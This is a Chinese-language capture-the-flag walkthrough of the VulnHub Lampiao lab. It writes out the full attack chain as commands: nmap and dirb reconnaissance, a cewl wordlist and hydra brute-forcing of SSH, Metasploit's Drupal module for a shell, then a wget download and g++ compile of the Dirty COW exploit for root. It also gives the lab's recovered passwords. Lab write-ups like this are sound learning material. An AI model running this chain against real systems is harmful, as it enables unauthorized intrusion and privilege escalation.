靶机地址:https://www.vulnhub.com/
Lampiao项目考察点:
1)信息收集:
1、nmap挖掘信息。2、挖掘HTTP服务信息。3、搜寻页面有用的信息。4、对信息页面枚举。5、爬取网页信息。
2)暴力破解:
hydra暴力破解
3)提权:
1、MSF获取shell。2、内核提权
具体操作步骤:
1、下载靶机、解压、VMware打开,并将其和kali虚拟机的网络调成NAT模式。
2、老样子,打开kali终端,利用nmap对同网段存活的主机进行扫描。
nmap -sS 192.168.183.1/24(网段) -----具体的参数,随后我会补充一篇单独学习文章
发现目标主机192.168.183.131,且开放了22,80端口,这时候,我们可以想到22端口ssh,可能存在爆破,80端口有http服务。
3、去浏览器输入目标IP地址,查看源码,没发现有什么有用的信息。
4、利用nmap,重点搜索一下目标ip开放的端口,看看会有没有其他的发现。
nmap -p- 192.168.183.131
发现了个新的端口,不知道是个啥服务,去浏览器输入看看:
主页随便点点,发现点击Read more,url里的路径会发生变化:
这个页面好像也没有什么可以利用的信息,但是观察到url里的?q=node/1,这里我们可以试试进行枚举,把1换成2或3,4进行尝试,发现?q=node/2页面存在两个文件:
将这两个文件分别输入路径会发现,这是一个音频文件和一个二维码,在kali上,那个音频文件不能支持相应的格式,可以转到windows上输入ip地址:端口/文件名
在音频中得知了用户名是:tiago,扫描二维码发现并没有什么东西,可能还得对22端口进行爆破。此处先暂时记录,用户名tiago。
5、对该网站目录进行爆破枚举,利用到的是kali上的dirb:
dirb http://192.168.183.131:1898 -w #-w是对该目录的子目录也进行扫描爆破,也可以
不用-w
发现了robots.txt,输入路径查看相关的文件路径 发现了CHANGELOG.txt文件,将其输入url
发现了有用的信息Drupal 7.54, 2017-02-01。
将有用的信息收集到一起,现在发现了用户名tiago,还有这个系统的版本名字Drupal 7.54。
6、下面为爆破22端口,提前利用kali的cewl,cewl通过爬行网站获取一些关键信息然后创建一个密码字典。(用cewl可以生成一份综合网站的密码字典,类似于社会工程性质的密码字典)
cewl http://192.168.183.131:1898/?q=node/1 -w xiaoli.txt
7、利用hydra爆破22 端口的ssh:
hydra -l tiago -P xiaoli.txt 192.168.183.131 ssh
爆破出来的密码是Virgulino,此时整理收集到的信息:用户名:tiago 密码:Virgulino
然后输入ssh命令登录此用户:
ssh tiago@192.168.183.131 #然后输入密码,成功登录
利用id查看,该用户为普通用户,下一步就要开始提权了。
8、提权,接上文收集到的资料,该系统的版本:Drupal 7.54,浏览器搜索Drupal 7.54 exploit,此处提权的方法有好几种,在此,我就用一种方法进行提权了,那就是MSF。输入msfconsole,且search Drupal,选择2018的那个模块,然后设置相应参数,set rhosts 192.168.183.131, set rport 1898.然后直接run
建立连接后,输入shell,反弹一个假的shell,然后输入which python,检查是否安装python,安装python了会返回相应路径,然后利用python,输入
python -c 'import pty; pty.spawn("/bin/bash")'
成功通过漏洞渗透进入该系统,但是权限是最低的,和ssh的那个tiago的用户权限差不多。下一步就要获取root权限了,通过在网上查找,发现Durpal 7版本2016年都可以用dirty(脏牛)来提权,是一个经典的漏洞提权,目前已经修复了,文章最后会进行介绍。
9、在kali上开启一个新的终端,输入
searchsploit dirty
使用这个Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race Condition Privile | linux/local/40847.cpp
然后输入命令,将其放在桌面上
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /home/kali/Desktop
10、用python开启本地http服务,输入
python -m http.server 8082
然后在浏览器输入kali的ip地址,查看相应的目录,在msf建立的连接中输入
wget http://192.168.183.129:8082/Desktop/40847.cpp #下载到渗透的系统中
在之前在浏览器查到该漏洞的详细信息以及使用:
输入
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o xiaoli 40847.cpp -lutil
-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
-std=c++11就是用按C++2011标准来编译的
-pthread 在Linux中要用到多线程时,需要链接pthread库
-o xiaoli gcc生成的目标文件,名字为xiaoli
执行gcc编译可执行文件,可直接提权。
执行./xiaoli后,得到root密码:dirtyCowFun,自此获取root密码,利用ssh登录root用户,提权成功,成功获取到本靶机的flag。
自此本次靶机渗透圆满结束,其实提权还有很多种方法,后续会继续更新。下面介绍下dirty的漏洞。
漏洞简要分析
该漏洞具体为,get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。修改su或者passwd程序就可以达到root的目的。具体分析请查看官方分析。
具体的今天就先写这些~伸个懒腰,继续努力,继续学习!!!!